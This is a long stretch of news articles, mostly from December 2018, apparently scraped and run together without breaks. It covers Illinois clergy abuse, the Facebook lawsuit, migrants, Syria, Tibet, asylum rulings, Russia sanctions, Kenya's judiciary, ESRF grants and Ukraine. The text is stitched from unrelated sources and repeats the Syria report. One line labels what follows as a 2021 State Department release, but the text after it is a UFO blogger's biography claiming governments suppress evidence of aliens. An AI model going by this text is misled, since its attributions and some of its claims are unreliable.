that 185 clergy members were credibly accused of sexual abuse fell short of the number her office has uncovered. The preliminary results of an investigation that began in August found more than 500 additional priests and clergy members with sexual abuse allegations in the Midwestern states six dioceses a total of at least 685 accused. In a scathing statement, the attorney generals office criticized the Churchs handling of the abuse allegations, saying investigations were lacking, and in many cases law enforcement and child welfare authorities were not notified. The preliminary stages of this investigation have already demonstrated that the Catholic Church cannot police itself, Madigan said. She added that the church had failed to provide a complete and accurate accounting of all sexually inappropriate behaviour involving priests in Illinois. The Illinois investigation was prompted by a sweeping grand jury report in August that revealed credible allegations against more than 300 suspected predator priests and identified over 1,000 victims of child sex abuse covered up for decades by the Catholic Church in the state of Pennsylvania. In October, federal authorities for the first time opened an investigation into clergy abuse. Dioceses in the state reported receiving federal grand jury subpoenas to produce documents. AFP monicakchauhan@gmail.com Washington, December 20 Washington DC's top prosecutor is suing Facebook in the first significant US move to punish the firm for its role in the Cambridge Analytica scandal. District of Columbia Attorney General Karl Racine filed the lawsuit on Wednesday, said the Washington Post. It accused Facebook of allowing the wholesale scraping of personal data on tens of millions of users. The action adds to a number of regulatory investigations, following a year of privacy and security missteps, the BBC reported. A Facebook spokesperson told the BBC: "We're reviewing the complaint and look forward to continuing our discussions with attorneys general in DC and elsewhere." As well as this lawsuit, Facebook is being probed by the Securities and Exchange Commission, the Federal Trade Commission and the Department of Justice. In the UK, the company was fined 500,000 pounds over the Cambridge Analytica scandal, the maximum fine the British data regulator can impose. Bigger trouble may arise from the Irish data protection regulator, which is investigating Facebook for multiple admissions of security flaws, in what is being seen as the first major test of Europe's new privacy rules as dictated by the General Data Protection Regulation. According to the Post, the Washington DC attorney general's action could be amended to include more recent data security admissions, including more revelations published on Wednesday by the New York Times. IANS shriaya.dutta@tribuneindia.com Tegucigalpa, December 20 A Honduran migrant who had recently been deported from the United States was shot and killed a few blocks from his home, his family said on Wednesday, in another sign of the dangers faced by migrants fleeing Central American gangs. Nelson Espinal, 28, was shot 15 times on Tuesday night shortly after leaving his home in the capital Tegucigalpa, said his sister, Patricia Espinal. The neighborhood is dominated by the Barrio 18 gang, one of the countrys most dangerous. Espinal was deported from the United States in late November and barred from returning for five years, according to documents from the US Department of Homeland Security. Nevertheless, Espinal, who worked in construction, planned to make another attempt to enter the country in January, his sister said. He said that if he did not leave, they were going to kill him, Patricia Espinal said as her mother, Sara Matamoros, wept. Thats why he left following the caravan. Espinal was detained after crossing the border illegally in Arizona, according to US Customs and Border Protection. He did not appear to be part of the migrant caravans trekking from Central America to the United States and did not seek asylum, the agency said. On Wednesday, a US federal judge struck down Trump administration policies aimed at restricting asylum claims by people citing gang or domestic violence in their home countries. In Mexico, authorities are investigating the deaths of two migrant teenagers from Honduras who were killed in the border city of Tijuana last weekend. The youths, believed to be about 16 or 17 years old, showed signs of having been stabbed and strangled. It could not be determined immediately if the victims had planned to apply for asylum. Mexican President Andres Manuel Lopez Obrador told reporters on Wednesday his government would seek fair treatment for migrants. More than 2,000 mainly Honduran immigrants who traveled with the caravan remain in a shelter in Tijuana, Lopez Obrador said. US President Donald Trump has insisted that they will not be allowed into the United States, but a few asylum seekers have already crossed the border. The killings could fuel criticism of a policy proposal that Mexico and the United States discussed earlier this year to have Central American migrants wait in Mexico while their asylum claims are processed. Reuters pardeepdhull@gmail.com Colombo, December 20 Sri Lankan President Maithripala Sirisena on Thursday named a 30-member Cabinet, but retained the control over the island nations security forces and the police by ignoring Prime Minister Ranil Wickremesinghes nominees, indicating that two leaders are still at loggerheads after weeks of political crisis. The Cabinet announcement came after the reinstatement of Wickremesinghe as Prime Minister. Sirisena ignored Wickremesinghes nominees for Cabinet positions from those who had defected from his Sri Lanka Freedom Party (SLFP). At least 3 seniors had defected from the SLFP to Wickremesinghes United National Party (UNP). Sirisenas decision on October 26 to sack prime minister Wickremesinghe and install former strongman Mahinda Rajapaksa in his place triggered an unprecedented constitutional crisis. Later, Sirisena also dissolved the 225-member Parliament and called for a snap election on January 5. However, Wickremesinghe was re-appointed as prime minister by Sirisena following a Supreme Court order, ending the 51-day political standoff in the country. The president now holds the Defence and Mahaweli Development and Environment Ministry portfolios. He retained the control over the police which is investigating an alleged plot to kill him that triggered a political crisis in the country. Wickremesinghe also hold portfolios of National Policies, Economic Affairs, Resettlement & Rehabilitation, Northern Province Development, Vocational Training & Skills Development & Youth Affairs. Thilak Janaka Marapana was sworn-in as the Minister of Foreign Affairs. Sirisenas holding of the Law and Order Ministry has been disputed by the UNP, claiming that the president was only constitutionally allowed to be the defence minister in addition to the subject of environment. Analysts said that Cabinet appointments indicate that Sirisena and Wickremesinghe were still at loggerheads. Sirisena, who had publicly vowed not to reinstate Wickremesinghe, was was forced to change his stance after court rulings over the issue. PTI pardeepdhull@gmail.com Barcelona, December 20 Spanish Prime Minister Pedro Sanchez will hold a cabinet meeting in Barcelona on Friday amid tight security as Catalan pro-independence groups plan to hold protests and block roads in the region. The meeting comes a year to the day after Madrid held snap elections in Catalonia after blocking the wealthy northeastern regions move for independence and many separatists have called the timing of the meeting a provocation. In protest, the powerful grassroots separatist organisation ANC, which has previously staged massive pro-independence street demonstrations in Barcelona, urged its supporters to block the streets of the Catalan capital with their vehicles. Radical grassroots group, the Committees for the Defence of the Republic (CDRs), also plans to meet near the palace where the cabinet meeting will be held. Its members have clashed with police in the past. We will be ungovernable on December 21, the group said in a tweet, accompanied by a picture of Spains King Felipe VI on fire. Pro-independence groups are also planning to march through the streets of Barcelona on Friday afternoon after the meeting which will get under way at 10 am (0900 GMT). Tight security is expected to cordon off the palace where the Spanish government will gather. Separatists are still reeling from the steps Spains central government took to block Catalonias independence bid. In October 2017, Catalan leaders pushed ahead with a controversial independence referendum despite a court ban, then declared independence on the basis of the results. The then conservative Spanish government responded by deposing the Catalan executive, dissolving the regional parliament and calling snap elections for December 21. Separatist parties again won a majority in the Catalan parliament in the election, even though many candidates were in jail or self-imposed exiled over their role in the failed independence bid. Spains Supreme Court last October ordered 18 former Catalan separatist leaders to stand trial over the independence bid. Nine defendants are being held in jail ahead of their trial, which is expected to start in early 2019. Deputy Prime Minister Carmen Calvo said Wednesday that the Barcelona cabinet meeting was not a provocation. Sanchezs six-month-old Socialist government already held a cabinet meeting in the southern city of Seville in October. The prime minister will meet with the head of the Catalan regional government, Quim Torra, on Thursday on the eve of the cabinet meeting. Sanchez took office in June after winning a surprise vote of no-confidence in parliament against the previous conservative government which was backed by Catalan separatist parties. The separatists withdrew their support for his government after public prosecutors in November called for prison sentences of up to 25 years for the 18 Catalan separatist leaders facing trial next year. Sanchez initially adopted a more conciliatory tone towards Catalonia than his predecessor, prompting accusations from the right that he was weak in the face of separatists who threaten to break up Spain. But his tone has hardened after far-right party Vox, which takes a tough line against Catalan separatism, won seats for the first time in a regional parliament during an early election on December 2 in Andalusia, a Socialist stronghold. During a debate in parliament earlier this month Sanchez said Catalan separatists only have lies to back their political positions. Catalan vice president Pere Aragones said the first months of Sanchezs government were a breath of fresh air. But fresh air is not enough, there have to be concrete measures. The longer it takes for the State to recognise that there is a political problem here that needs to be resolved with courage, the harder it will be to find a solution, he said. AFP shalender@tribune.com Washington, December 20 President Donald Trumps decision to withdraw US troops from Syria is consistent with his policy that the main objective of American forces in the war-torn country was to destroy the Islamic State and not to resolve the civil war, the White House has said as it defended the move criticised by many as premature. The White Houses assertion came after Trump claimed the US has defeated the Islamic State group in Syria. A White House official announced on Wednesday that the US has started withdrawing American troops from the country. The decision, a sharp reversal from previously stated US policy, surprised foreign allies and lawmakers. Many analysts believe that a withdrawal of ground forces will please US enemies by clearing the way in Syria for the Assad regime, Russia and Iran. The Wall Street Journal described it as an abrupt decision by the Trump administration. Currently, there are about 2,000 US forces in Syria. We have defeated IS in Syria, my only reason for being there during the Trump Presidency, Trump tweeted on Wednesday. White House Press Secretary Sarah Sanders said that victories over IS in Syria do not signal the end of the Global Coalition or its campaign. We have started returning United States troops home as we transition to the next phase of this campaign, she added. The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary, and we will continue to work together to deny radical Islamist terrorists territory, funding, support and many means of infiltrating our borders. A senior administration official, who spoke on condition of anonymity, told reporters in a conference call that Trump, over the past two years, has clearly declared that the US is not going into Syria to resolve the civil war. What we were going in to do was to destroy the territorial caliphate, which he referred to as ISIS in Syria, very specifically, the official said. Speaking a few hours after the decision was announced, the official left the timeline of withdrawal to the Pentagon, which declined to give any comment immediately. We are under no illusion that that means ISIS writ-large or the scourge of Sunni radical terrorism has in some way gone away, the official said. Trumps decision attracted criticism from leaders of his own Republican party, who argued that such a hasty decision would endanger American national security in the long run. PTI IS not defeated yet, our troops to stay in Syria: France France will keep troops in northern Syria for now because Islamic State militants have not been wiped out, contrary to the view of Washington, and continue to pose a threat to French interests, officials said France is a leading member of the US-led coalition fighting militants in Syria and Iraq and has around 1,000 troops including special forces based in the north of the country, deployed alongside Kurdish and Arab forces France has stationed fighter jets in Jordan and artillery along the Syrian border in Iraq as part of the US-led coalition, as well as an undisclosed number of Special Forces on the ground Defence Minister Florence Parly acknowledged on Twitter that the militant group had been weakened and lost some 90 per cent of its territory, but said the battle was not over France is especially sensitive to the IS threat after several major deadly attacks on its soil and officials believe the militant group continues to pose a serious threat US does not want to be policeman of the Middle East: Trump pardeepdhull@gmail.com Washington, December 20 US President Donald Trump has signed a bipartisan Bill on Tibet into law that could enrage China, paving the way to impose a visa ban on Chinese officials who deny American citizens, government officials and journalists access to the sensitive Himalayan region, homeland of the exiled Dalai Lama. US citizens, including government officials, reporters and tourists who seek to enter Tibetan areas are routinely rejected, and the few who do get in are forced to stay on strictly-controlled official tours, where the true situation of the Tibetan people is hidden from them, officials said. The situation is worst of all for Tibetan-Americans, who are almost and always denied the right to make a pilgrimage to their ancestral land and to meet their family members there, community members said. The Wednesdays move by President Trump came days after China lodged a stern diplomatic protest with the US over the Senate passing the legislation with Beijing asking Washington not to make it a law. China insists Tibet has been part of its territory for centuries. The Dalai Lama fled to India in 1959 amid an abortive uprising against the Chinese rule in his Himalayan homeland. The White House said that Trump signed into law the Reciprocal Access to Tibet Act of 2018 which promotes access for diplomats, officials, journalists and others from the United States to Chinas Tibetan areas. The Bill, which was earlier passed by the Senate and the House of Representatives, seeks to impose a visa ban on Chinese officials who deny American citizens, government officials and journalists access to the remote region of Tibet. The move also comes amidst Trump administration imposing massive trade import duties on China, the worlds second largest after that of America. However, the Bill includes a national security waiver and would require the Secretary of State to submit an assessment to Congress of the level of access to Tibet granted to US officials, journalists and tourists by China. If the Secretary of State determines that there are restrictions on travel to Tibet, the appropriate Chinese officials will be ineligible to enter the US. The Tibetan community described it as a historic moment for them. Reciprocal Access to Tibet Act becomes law, marking new era of American support for Tibet, said International Campaign for Tibet (ICT). This is truly a turning point for Americans, Tibetans and all who care about equality, justice and human rights, said Matteo Mecacci, ICT president. By passing this impactful and innovative law, the US has blazed a path for other countries to follow and let the Chinese government know that it will face real consequences for its discrimination against the Tibetan people, he said. Congressman Jim McGovern, who introduced the bill in the House of Representatives, said: Im glad that the President signed our Bill, the Reciprocal Access to Tibet Act, into law. For too long, China has covered up their human rights violations in Tibet by restricting travel. But actions have consequences and today we are one step closer to holding the Chinese officials who implement these restrictions accountable. McGovern said he looks forward to watching closely as the law is implemented, and continuing to stand with the people of Tibet in their struggle for religious and cultural freedom. The Reciprocal Access to Tibet Act is based on the diplomatic principle of reciprocity, which calls on countries to give equal rights to one anothers citizens. Sponsors of the bill alleged that when it comes to Tibet, China does not reciprocate. Although Chinese citizens travel freely throughout the US, Chinese authorities severely restrict Americans ability to access Tibet. The Reciprocal Access to Tibet Act specifically highlights the discriminatory attitude of Chinese officials toward Tibetan-Americans who seek to visit Tibet. The Chinese embassy and consulates routinely place such Tibetan-Americans under a more stringent and non-consular application process merely because they are of Tibetan-origin. This includes subjecting them to vigorous interviews by United Front officials, collecting personal and family information and eventually denying them access, ICT vice president Bhuchung K Tsering said. The ICT said until now, China has been able to use its economic and military power to isolate Tibet without much resistance from the international community. With reciprocal access to Tibet becoming law, China will begin to feel the weight of its unfair policies. The law requires the Secretary of State to assess Americans level of access to Tibet within 90 days of its enactment and to send a report to Congress every year afterward identifying the Chinese officials responsible for keeping Americans out of Tibet. The Secretary will then ban those officials from receiving visas to enter the US. PTI pardeepdhull@gmail.com Wilmington /San Francisco/Washington: December 20 A US judge on Wednesday struck down Trump administration policies aimed at restricting asylum claims by people citing gang or domestic violence in their home countries and ordered the US government to bring back six deported migrants to reconsider their cases. The ruling is the latest legal setback for the White House on immigration. Last month, a judge in San Francisco ordered a halt to a policy that prevented those entering illegally from Mexico from seeking asylum. The policy at the centre of Wednesdays ruling sought to limit the ability of immigrants to fight expedited deportation by narrowing the grounds for claiming credible fear if they returned home, the first step in a long asylum process. Thousands of people have travelled in caravans this year toward the southern U.S. border to escape gang violence and poverty in Honduras and El Salvador. The policy was challenged in a District of Columbia lawsuit brought by a dozen adults and children. US Judge Emmet Sullivan said in a 107-page opinion the policy violated both immigration and administrative law. And because it is the will of Congress not the whims of the executive that determines the standard for expedited removal, the court finds that those policies are unlawful, Sullivan wrote. In a statement, the Department of Justice said administration policies sought to follow Congress requirement that asylum be limited to those with a fear of persecution based on their race, nationality, religion, political opinion or membership in a social group. The department filed a request to stay the courts orders while the government appealed. Sullivan had not responded to that request. The White House also criticized the decision, saying in a statement that the ruling would further overwhelm immigration courts with meritless cases and encourage illegal immigration to the United States. Sullivan, an appointee of US President Bill Clinton, made headlines on Tuesday for his fierce criticism of Michael Flynn, President Donald Trumps former national security adviser, for lying to FBI agents. For the last three months of 2017, the most recent numbers, the government conducted about 6,000 credible fear interviews monthly. The vast majority passed those interviews, allowing them to make their case for asylum in front of a US immigration judge. Jennifer Chang Newell, an American Civil Liberties Union attorney representing the asylum seekers, said the ruling is a defeat for the Trump administrations all-out assault on the rights of asylum seekers. The ruling clears the way for four mothers and two children to be returned to the United States, she said. The administration has said that the asylum process is being abused by people who have frivolous claims but are able to stay in the country while their cases are being decided. In a separate case, US District Judge John Tigar in San Francisco on Wednesday extended his previous order that blocked Trumps policy to bar those entering illegally from Mexico from seeking asylum. The preliminary injunction ordered by Tigar will remain in place while the litigation unfolds, unless the US Supreme Court intervenes. Illegal crossings at the southern border have dropped dramatically since the late 1970s. But in recent years, applications for asylum have ballooned, and more Central American families and unaccompanied children are migrating to the United States. On Tuesday, the United States committed billions of dollars toward development in Central America and Mexico as part of a plan to curb illegal immigration. Reuters rchopra@tribunemail.com Washington, December 20 President Donald Trumps decision to withdraw US troops from Syria is consistent with his policy that the main objective of American forces in the war-torn country was to destroy the ISIS and not to resolve the civil war, the White House has said as it defended the move criticised by many as premature. The White Houses assertion came after Trump claimed the US had defeated the Islamic State group in Syria. A White House official announced on Wednesday that the US had started withdrawing American troops from the country. The decision, a sharp reversal from previously stated US policy, surprised foreign allies and lawmakers. Many analysts believe a withdrawal of ground forces will please US enemies by clearing the way in Syria for the Assad regime, Russia and Iran. The Wall Street Journal described it as an abrupt decision by the Trump administration. Currently, there are about 2,000 US forces in Syria. We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency, Trump tweeted on Wednesday. White House Press Secretary Sarah Sanders said that victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign. We have started returning United States troops home as we transition to the next phase of this campaign, she added. The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary, and we will continue to work together to deny radical Islamist terrorists territory, funding, support and many means of infiltrating our borders. A senior administration official, who spoke on condition of anonymity, told reporters in a conference call that Trump, over the past two years, had clearly declared that the US is not going into Syria to resolve the civil war. What we were going in to do was to destroy the territorial caliphate, which he referred to as ISIS in Syria, very specifically, the official said. Speaking a few hours after the decision was announced, the official left the timeline of withdrawal to the Pentagon, which declined to give any comment immediately. We are under no illusion that that means ISIS writ-large or the scourge of Sunni radical terrorism has in some way gone away, the official said. Trumps decision attracted criticism from leaders of his own Republican party, who argued that such a hasty decision would endanger American national security in the long run. Republican Senator Marco Rubio said the full and rapid withdrawal of US troops from Syria is a grave error with broader implications beyond just the fight against IS group. The presidents tweet is dangerous, premature and wholly inconsistent with the facts on the ground in Syria and our militarys advice. I have travelled to Syria to review our mission, and our military has performed well beyond expectations, said Senator Jeanne Shaheen. The administration official, however, argued that Trump had been consistent in his views on Syria. I will say the presidents statements on this topic have been 100 per cent consistent from the campaign through his announcement today. And so, I think the notion that anyone within the administration was caught unawares, I would challenge that, quite frankly. And it was the presidents decision to make, and he made it, the official said. The official acknowledged that several lawmakers at the Capitol Hill disagreed with the decision. The senators obviously have been working on this issue, as well, for many years. They have their opinions. Responding to questions, the official said this was purely Trumps decision and he did not consult with his Turkish counterpart on the issue. It was not something he discussed with President (Recep Tayyip) Erdogan. He has informed President Erdogan of his decision. As a neighbour of Syria, obviously its going to be an important issue for Turkey. But this was not a topic of discussion. It was informational, the official said. The official also asserted that the US troops in Syria were to fight and defeat ISIS and not to fight Iran. The troops that we had in Syria were never there to counter, fight Iran. They were always there to destroy the territorial caliphate of ISIS. PTI pardeepdhull@gmail.com Washington, December 20 The US has slapped fresh sanctions on 12 Russian individuals and entities for their alleged interference in 2016 presidential election and the brazen use of a military-grade nerve agent in an assassination attempt inside Americas closest ally. They were involved in a wide range of malign activities, including attempts to interfere in the 2016 US elections, cyber-enabled attempts to undermine international organisations and the brazen use of a chemical weapon in an assassination attempt abroad, the State Department said. Several of these people were related to Project Lakhta, a broad Russian effort which includes the Internet Research Agency that has sought to interfere in political and electoral systems worldwide, the State Department said. As a result of this action, any person determined to knowingly engage in a significant transaction with any of these persons will be subject to the Countering Americas Adversaries Through Sanctions Act (CAATSA) Section 231 sanctions, the State Department said. In addition, the Treasury Department designated several members of Russias Main Intelligence Directorate (GRU) and individuals and entities related to Project Lakhta, including the 12 persons added to the List of Specified Persons (LSP). Treasury also designated Victor Boyarkin for having acted or purported to act for or on behalf of Oleg Deripaska. According to the State Department, the sanctions and listings undertaken are one part of an aggressive stand against the irresponsible acts directed by the Government of the Russian Federation. Russian intelligence services cyber operations continue to seek to undermine democratic elections and delegitimise international organisations, it alleged. Additionally, it is clear that Russian intelligence operatives used a military grade nerve agent to carry out an assassination attempt inside the borders of Americas closest ally, a violation of Russias obligations under the Chemical Weapons Convention, the State Department charged. We will not tolerate attempts to interfere in our democratic process, and we will side with our allies and partners against Russian subversion and destabilisation. We will continue to work with our allies and partners to take collective action in response to irresponsible and malicious acts supported by Russia and its intelligence agencies, it added. Former Russian spy Sergei Skripal was poisoned with a military-grade nerve agent in the UK in March, leading to a major diplomatic standoff with Russia. The 66-year-old former Russian double agent and his daughter Yulia, 33, were found unconscious on a shopping centre bench in the Salisbury town on March 4. They were hospitalised in critical condition after he was found poisoned and spent weeks in critical condition. Earlier this month, Special Counsel Rober Muller, who is probing the allegations of Russian interference into the 2016 presidential election and collusion with the Trump campaign, filed two separate court papers, none of which directly answered the question of direct involvement of President Donald Trump in the alleged Russian interference. Trump has repeatedly said that his campaign never colluded with the Russians. So far, more than 30 people have been charged or pleaded guilty in Muellers investigation which Trump calls a witch hunt. PTI - Social media users claim CJ Maraga has dimmed Kenyan's hope of having a corruption-free Judiciary - They attribute this to recent cases where graft suspects have largely been released on lenient bail terms - Earlier, Uhuru shared similar sentiments where he decried cheap bail terms given to corruption suspects The Kenya Judiciary has come under sharp criticism from the citizenry who claim it is the worst performing arm of government. Through a Twitter hashtag FailedJudiciary social media users were up in arms expressing displeasure in how the Judiciary has suffocated attempts by the Executive to restore sanity in public offices. Send 'NEWS' to 40227 to receive all the important breaking news as it happens READ ALSO: Former Kenya Power CEO Ben Chumo, two managers arrested over economic crimes Social media users claim CJ Maraga has dimmed Kenyan's hope of having a corruption-free Judiciary. Photo:UGC Source: UGC READ ALSO: This is why Kenyans can no longer trust Justice David Maraga President Uhuru Kenyatta's spirited war on graft lords has been singled out as a course that has been hit hardest by an apparent a skewed judicial system. Tweeps castigated Chief Justice David Maraga for dimming Kenyans dreams of achieving a transparent Judiciary. READ ALSO: Why Chief Justice David Maraga is a man under siege This emerged one week after similar jabs were through at the Maraga-led institution by Uhuru who claimed the war on corruption had been stalled by the Judiciary. The president claimed suspects linked to massive pilferage of public funds were being released on ridiculously cheap bail terms. President Uhuru Kenyatta's spirited war on graft lords was singled out as a course that had been hit hard by what was described as a skewed judicial system. Photo: President Uhuru Source: Twitter Maraga however responded stating that bail terms were legal and awarded on merit. Those who reacted, cited the recent case where it is alleged vital pieces of evidence linked to a graft case facing embattled National Lands Commission boss Mohammed Swazuri disappeared. Polycarp Hinga blamed the development on a court's decision to free Swazuri on bail and also allow him to access his office. This, according to Hinga, was done despite warning from the prosecution that Swazuri might interfere with evidence. "DPP said do not free Swazuri on bail, he will tamper with witnesses, the courts freed him. DPP said, do not put Swazuri back in office, he will tamper with files and records. The courts put him back in office," reacted Hinga READ ALSO: Ngirita family's woes continue as government goes after their assets The judiciary was also put on spot over the case of former Jubilee Senator Joy Gwendo. Social media users pocked holes in the Judiciary and wondered how, despite Gwendo being convicted and imprisoned over corruption, she managed to secure freedom through on bail. Another case that irked Kenyans is one involving NHIF bosses linked to massive looting from the national insurer. They were also freed on bond by the courts. Here are some fiery reactions from the hashtag. Do you have a hot story or scandal you would like us to publish, please reach us through news@tuko.co.ke or WhatsApp: 0732482690 and Telegram: Tuko news. President Kenyatta shows up for Jamhuri Day in full military Uniform jamhuri Day fete| Tuko TV. Source: Tuko Marie-Ingrid Richard and Hugh Simons, visiting scientists at the ESRF, have been awarded research grants from the European Research Council (ERC), for research to be carried out at the ESRF. The ERC grants are awarded under the 'excellent science' pillar of Horizon 2020, the EU's research and innovation programme. They benefit early-career researchers or scientists wanting to consolidate their research in a wide range of topics and covering all disciplines. The maximum grant awarded is worth 2 million for a period of 5 years. ESRF/C. Argoud Marie-Ingrid Richard is an associate professor and a nanomaterials researcher from the Institut Materiaux Microelectronique Nanosciences de Provence, Aix-Marseille University and visiting scientist at ID01. In November, she was awarded a consolidator grant of around 1.9 million from the ERC to develop coherent X-ray diffraction to explore nanostructures, focusing on catalysis and interfaces. Nanoparticles face significant challenges in achieving high catalytic activity and sufficient durability. A key problem has been that all existing approaches for the characterization of phenomena at the atomic scale lack structural specificity and they use very unrealistic catalytic environments. Marie-Ingrids project, called CARINE, aims to study, in situ and operando, the structural evolution of catalytic nanoparticles under realistic conditions. Its very exciting to be the recipient of an ERC grant and it will allow me to carry out research with a reinforced team studying and gaining more insight into nano-catalysts in gas or liquid environments using a technique known as Bragg coherent X-ray diffraction. In addition, knowing that we will be among the first to take advantage of the unique opportunity offered by EBS to improve both spatial and temporal evolution is extremely motivating, says Marie-Ingrid. For Jean Susini, ESRF Director of Research, the award of a consolidator grant to Marie-Ingrid Richard for research to be carried out on ID01 shows the confidence of the scientific community in the new opportunities for research that will be made possible with EBS: We are delighted that Marie-Ingrid will be able to pursue and develop her research at the ESRF, this grant is not only the recognition of the quality of her research but also a recognition of the key importance of EBS in the success of her project. Its a strong sign from the community and we are all excited by the new prospects that are coming into place right now. Etienne Bouy Hugh Simons is a materials researcher at the Technical University of Denmark and a user on ESRFs ID06 beamline. In July this year, he was awarded an early career researcher starting grant of 1.5 million from the European Research Council for 3D Piezoresponse X-ray Microscopy. He is helping to develop the new technique of dark-field microscopy at the ESRF and the grant will enable him to build a research team to investigate electrical activity in materials in operation and develop a new method using the unique enhanced performances of EBS. The technique I am developing is based on the new capabilities that will be made available with fourth generation synchrotrons like EBS, and in a lower energy range, Max IV. The technique will make it possible to investigate materials and examine their structures in a way completely different to what is available today. Through the use of advanced software, it will enable us to exploit data from the microscopes to investigate what happens inside electronic materials while they are in operation, for example how the materials inside a battery affected when the battery is charged, says Hugh. Hugh Simons would like to see his technique systematically offered to researchers when they use one of the fourth generation synchrotrons, and he hopes it will have an impact on materials research by opening up new fields of exploration. "Hugh has been a regular visitor to the ESRF since 2013 as part of the DTU team and we are extremely pleased to see that this collaboration is set to continue well into the future. Dark-field microscopy, which grew out of an ERC advanced grant awarded to Prof. Henning Poulsen (DTU) in 2011, holds a lot of promise. One of the 4 EBS flagship projects, EBSL2, will deliver a dedicated hard X-ray diffraction microscopy beamline. It will allow scientists to track structural dynamics across multiple length scales in real-time, with much improved time and spatial resolution says Harald Reichert, ESRF Director of Research for physical sciences. Text by Kirstin Colvin The following is a release issued by the US State Department on November 30, 2021. Hi, my name is Scott C. Waring and I wrote a few books and am currently a ESL School Owner in Taiwan. I have had my own UFO sighting up close and personal, but that's how it works right? A non believer becomes a believer when they experience their first sighting. You witnessed it, your perceptual field changes, so now you need to share it. I created this site to help the UFO community get a little bit organized. I noticed that there was a lot of chaos when searching for UFO sighting reports, so I hope this site helps. I wanted to support those eyewitnesses who have tried to tell others about what they have seen, yet were laughed at by even closest of friends. More and more each day the governments of the world leak bits and pieces of UFO information to the public. They have a trickle down theory in hopes of slowly getting citizens use to the idea that we are not alone in universe and never have been. The truth is being leaked drop by drop until one day we look around and find ourselves neck high in it. The discovery of alien species in existence is the most monumental scientific event in human history, suppression of that information is a crime against humanity. About me: I live in Taiwan. I OWN MY OWN ENGLISH SCHOOL, AND ONCE HAD 5 SCHOOLS. Am Former USAF at SAC base (flight line). Age: 42 Educ: BA in Elem ed. Masters in Counseling ed. I had two UFO sightings, (30+bus size orbs) in military and in 2012 personally saw the UFO over Taipei 101 building on New Years Day (and recored it). Russia has increased its army groups along the border with Ukraine, in the temporarily occupied territories of Donetsk and Luhansk regions and in annexed Crimea, Ukrainian President Petro Poroshenko has said. He said this in his address to servicemen of the 72nd Mechanized Brigade performing their tasks in the area of the Joint Forces Operation, which was broadcast live on the Facebook page of the head of state. "The army groups of the Russian Federation along the Ukrainian border, in the temporarily occupied territories of Donbas and Crimea consist of 28 battalion tactical groups, over 1,120 tanks, 2,600 armored vehicles, 1,230 artillery systems and 442 multiple-launch rocket systems, and six operational tactical missile systems," Poroshenko said. According to him, space intelligence data show the placement of Russian tanks at a distance of 18 kilometers from the Ukrainian border. The president said that in one sector the number of tanks had almost tripled since mid-September - from 92 to 250. In this context, the head of state said that the decision to introduce martial law in a number of regions in Ukraine had been made not only because of a Russian attack on Ukrainian sailors in the Kerch Strait, but also due to the fact that Russia has considerably strengthened its groups along the border and in the occupied territories since August. On November 25, Russian border ships committed aggressive actions against Ukrainian naval vessels that were en route from the port of Odesa to the port of Mariupol. They fired on and seized three Ukrainian ships with 24 sailors on board in the Kerch Strait. On November 26, the Verkhovna Rada of Ukraine adopted the law approving a presidential decree on the introduction of martial law for 30 days in ten regions of the country due to Russia aggression. Ambassador Extraordinary and Plenipotentiary of Ukraine to the Hellenic Republic Serhiy Shutenko has presented his credentials to President of Greece Prokopios Pavlopoulos. The Ukrainian Embassy in Greece informed this on its Facebook page. On December 18, 2018, Ukraines Ambassador to the Hellenic Republic Serhiy Shutenko presented his credentials to President of the Hellenic Republic Prokopios Pavlopoulos, the embassy reported. During the conversation, the sides discussed the state and prospects of development of bilateral relations between the two countries, in particular, in the political and economic sectors. The Ukrainian ambassador informed the Greek president about the efforts made by Ukraine to restore its territorial integrity, and expressed hope for Greeces continued support for Ukraine. Taking the opportunity, the ambassador expressed hope that the president of Greece would visit Ukraine next year at the invitation of the president of Ukraine, which would be important for further development of mutually beneficial cooperation between the two states. ish Extraordinary and Plenipotentiary Ambassador of the Republic of Turkey to Ukraine Yonet Can Tezel has completed his diplomatic mission in Ukraine, the Ukrainian Ministry of Foreign Affairs reports. "On December 19, Deputy Foreign Minister of Ukraine Vasyl Bodnar met with Ambassador of Turkey to Ukraine Yonet Can Tezel in connection with the completion of his diplomatic mission in Ukraine, reads the statement. According to the Foreign Ministry, the parties discussed the state and prospects for the development of strategic cooperation between Ukraine and Turkey in the political, economic and cultural spheres. Bodnar thanked Yonet Can Tezel for his personal contribution to the development of relations between the two countries and wished him further professional success. iy Orthodox Belarussians do not have the right to participate in the sacraments of the Orthodox Church of Ukraine, a spokesperson for the Belarusian Orthodox Church (BOC), Sergei Lepin, has said in an interview with Radio Free Europe/Radio Liberty. He added that the BOC considers the formation of the Orthodox Church of Ukraine in the same way as the Russian Orthodox Church does. "We treat them as representatives of, perhaps, another denomination, in the same way as we treat Catholics, Uniates or schismatics [...] As certain external events that are not directly related to the life of the canonical Orthodox Church," Lepin said. At the same time, the BOC said it intended to maintain good-neighborly relations with the Orthodox Church of Ukraine, without entering into Eucharistic communion with it. "We are not looking for war, hostility. We are friends for all. Friendship is friendship, but certain issues are still separate. We're not talking about any canonical or liturgical relations. They are even impossible with this church," the BOC spokesman said. The unification council on the creation of the autocephalous Orthodox Church of Ukraine was held at Saint Sophia Cathedral in Kyiv on December 15. Metropolitan Epifaniy (Epiphanius) was elected as its head. He is to receive a tomos (decree) of autocephaly of the Orthodox Church of Ukraine, the decision on which was made on October 11 by the Synod of the Ecumenical Patriarchate (the maternal structure of all Orthodox churches in the world). The transfer of the tomos will take place in Istanbul on January 6 after a joint liturgy. The Security Service of Ukraine (SBU) continues to inform the public about the crimes of a non-tenured unit of Russias General Staff of Armed Forces named PMC "Wagner." The materials collected by the SBU are of particular relevance in the context of today's press conference by Russian President Vladimir Putin and his statements regarding Wagner's mercenaries, according to the SBU's press center. "On July 30, 2018, Russian journalists O.Jemal, K.Radchenko and O.Rastorguev were killed in the Central African Republic. According to the media, they were investigating the illegal activities of Russian mercenaries in that country. At the same time, the Russian authorities immediately denied the presence of Wagner's terrorists in the Central African Republic. However, the information received by the SBU yet again reveals the lies of Russian officials. According to the available data, Wagner PMC mercenaries were sent to the CAR by top command of Russias General Staff of Armed Forces in early 2018," reads the statement. According to the SBU, the umbrella structure of the terrorists is a commercial firm affiliated with the very same cook and part-time Russian businessman E. Prigozhin - M-Finance LLC (St. Petersburg, the main areas of activity: mining of precious stones, private security services) In this case, some mercenaries were transported to Africa directly 